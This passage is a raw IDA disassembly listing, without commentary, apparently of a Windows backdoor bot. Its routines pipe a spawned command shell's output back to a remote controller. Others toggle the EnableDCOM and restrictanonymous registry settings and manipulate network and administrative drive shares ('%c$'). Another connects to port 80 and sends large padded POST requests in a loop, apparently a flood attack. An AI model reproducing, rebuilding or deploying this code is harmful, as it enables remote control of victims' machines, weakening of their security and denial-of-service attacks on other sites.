arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC64


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC58
		call	dword_427194	; PeekNamedPipe
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC54
		call	dword_427190	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		call	dword_427080	; Sleep
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC58
		call	dword_4270EC	; ReadFile
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C8
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		call	dword_4270D4	; ExitThread


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A4A0
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	dword_4270D4	; ExitThread


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A470
		push	ebx
		push	dword_4DBC98
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	dword_4270D4	; ExitThread
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp
					; sub_416000+99p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E8
		push	esi
		call	dword_4CBAA0	; SearchPathA
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC5C
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_427100	; DuplicateHandle
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB98
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC58, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC60, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC54, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC98, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC64
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A52C
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E928[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		call	dword_427084	; CreateThread
		cmp	eax, esi
		mov	dword_43E934[edi], eax
		jnz	short loc_41A35F
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAB4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA54	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_4392A0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CBA08	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C8
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A8


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0	; RegCloseKey
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A778
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA54	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CBA08	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A728
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6F4


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0	; RegCloseKey
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B8
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A688


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBADC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB928
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A550


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A664
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A638


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_43A570
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A614
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E8


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA74


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5C0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A590
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAB4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA54	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392E4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CBA08	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A940
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A924


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0	; RegCloseKey
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A778
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA54	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CBA08	; RegSetValueExA
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8E4
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8AC


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0	; RegCloseKey
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A870
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A688


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBADC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A550
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A850
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A828


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A560
		jb	short loc_41A86E
		call	dword_427198	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA44	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A850
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A828


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F8
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A590
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9E4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA64	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349F4 ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


